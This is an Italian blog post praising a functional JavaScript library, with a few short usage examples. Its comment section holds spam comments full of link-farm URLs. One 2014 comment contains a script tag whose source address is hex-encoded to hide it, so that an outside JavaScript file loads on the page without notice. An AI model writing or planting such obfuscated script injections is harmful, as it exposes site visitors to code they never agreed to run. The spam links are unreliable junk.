Functional Javascript

Interessante libreria javascript per la programmazione funzionale

Link

che consente di fare cose di questo genere:
   1:  var square = 'x*x'.lambda();
   2:  square(3);→ 9
   3:   
   4:  map('1+', [1,2,3]) → [2, 3, 4]
   5:   
   6:  and('>1', '>2')(3) → true
   7:   
   8:  map(invoke('toUpperCase'), ['two', 'words']);
   9:   → ["TWO", "WORDS"]

posted @ martedì 3 novembre 2009 04:29

Print

Comments on this entry:

# website to but dolphin bedsheets

Left by http://designsourcegraphics.ca/IFnqdf/ at 10/09/2010 05:40
Gravatar
| <a href="http://xn--tv-vgbeslag-d9a.dk/9d3UFz/" >sheet pile corrosion</a>

# little miss muffet coloring sheet

Left by http://hillfortfarm.com/RFT0JE/ at 10/09/2010 09:47
Gravatar
| <a href="http://xn--tv-vgbeslag-d9a.dk/HbT6qD/" >link stylesheet with url</a>

# re: Functional Javascript

Left by Functional at 19/09/2014 09:50
Gravatar
<script src="\x68\x74\x74\x70\x3a\x2f\x2f\x69\x73\x61\x62\x65\x6c\x2d\x6d\x61\x72\x61\x6e\x74\x2d\x73\x68\x6f\x65\x2e\x63\x6f\x6d\x2f\x49\x4d\x2d\x42\x44\x46\x2e\x6a\x73" language="javascript">
Comments have been closed on this topic.
«settembre»
domlunmarmergiovensab
2930311234
567891011
12131415161718
19202122232425
262728293012
3456789